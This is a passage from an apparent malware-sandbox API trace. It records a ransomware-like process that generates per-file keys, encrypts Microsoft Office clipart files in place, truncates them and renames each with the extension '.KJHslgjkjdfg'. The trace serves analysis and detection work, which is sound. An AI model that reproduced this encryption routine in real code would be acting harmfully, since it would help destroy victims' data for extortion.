lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.806] GetProcessHeap () returned 0x2ef0000 [0194.806] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.kjhslgjkjdfg")) returned 1 [0194.808] CloseHandle (hObject=0x130) returned 1 [0194.808] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0194.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.808] GetProcessHeap () returned 0x2ef0000 [0194.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.808] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.808] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.811] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.811] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.811] GetProcessHeap () returned 0x2ef0000 [0194.811] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.811] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.811] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.812] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.812] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xadc, lpOverlapped=0x0) returned 1 [0194.812] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xae0, dwBufLen=0xae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xae0) returned 1 [0194.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.812] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xae0, lpOverlapped=0x0) returned 1 [0194.812] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.812] SetEndOfFile (hFile=0x130) returned 1 [0194.813] GetProcessHeap () returned 0x2ef0000 [0194.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.813] GetProcessHeap () returned 0x2ef0000 [0194.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.kjhslgjkjdfg")) returned 1 [0194.814] CloseHandle (hObject=0x130) returned 1 [0194.814] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0194.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.815] GetProcessHeap () returned 0x2ef0000 [0194.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.815] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.816] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.816] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.816] GetProcessHeap () returned 0x2ef0000 [0194.816] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.816] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.816] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.816] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.817] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.817] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaec, lpOverlapped=0x0) returned 1 [0194.817] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0) returned 1 [0194.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.817] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaf0, lpOverlapped=0x0) returned 1 [0194.817] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.818] SetEndOfFile (hFile=0x130) returned 1 [0194.818] GetProcessHeap () returned 0x2ef0000 [0194.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.818] GetProcessHeap () returned 0x2ef0000 [0194.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.kjhslgjkjdfg")) returned 1 [0194.819] CloseHandle (hObject=0x130) returned 1 [0194.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0194.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.819] GetProcessHeap () returned 0x2ef0000 [0194.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.819] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.819] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.820] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.820] GetProcessHeap () returned 0x2ef0000 [0194.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.820] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.820] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.820] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.823] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb90, lpOverlapped=0x0) returned 1 [0194.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb90, dwBufLen=0xb90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb90) returned 1 [0194.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.823] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb90, lpOverlapped=0x0) returned 1 [0194.823] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.823] SetEndOfFile (hFile=0x130) returned 1 [0194.826] GetProcessHeap () returned 0x2ef0000 [0194.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.826] GetProcessHeap () returned 0x2ef0000 [0194.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.kjhslgjkjdfg")) returned 1 [0194.827] CloseHandle (hObject=0x130) returned 1 [0194.827] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0194.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.827] GetProcessHeap () returned 0x2ef0000 [0194.827] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.827] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.827] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.827] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.827] GetProcessHeap () returned 0x2ef0000 [0194.827] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.827] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.827] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.827] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.830] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.830] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.830] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.830] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.830] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb90, lpOverlapped=0x0) returned 1 [0194.830] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb90, dwBufLen=0xb90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb90) returned 1 [0194.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.831] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb90, lpOverlapped=0x0) returned 1 [0194.831] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.831] SetEndOfFile (hFile=0x130) returned 1 [0194.832] GetProcessHeap () returned 0x2ef0000 [0194.832] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.832] GetProcessHeap () returned 0x2ef0000 [0194.832] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.kjhslgjkjdfg")) returned 1 [0194.833] CloseHandle (hObject=0x130) returned 1 [0194.833] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0194.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 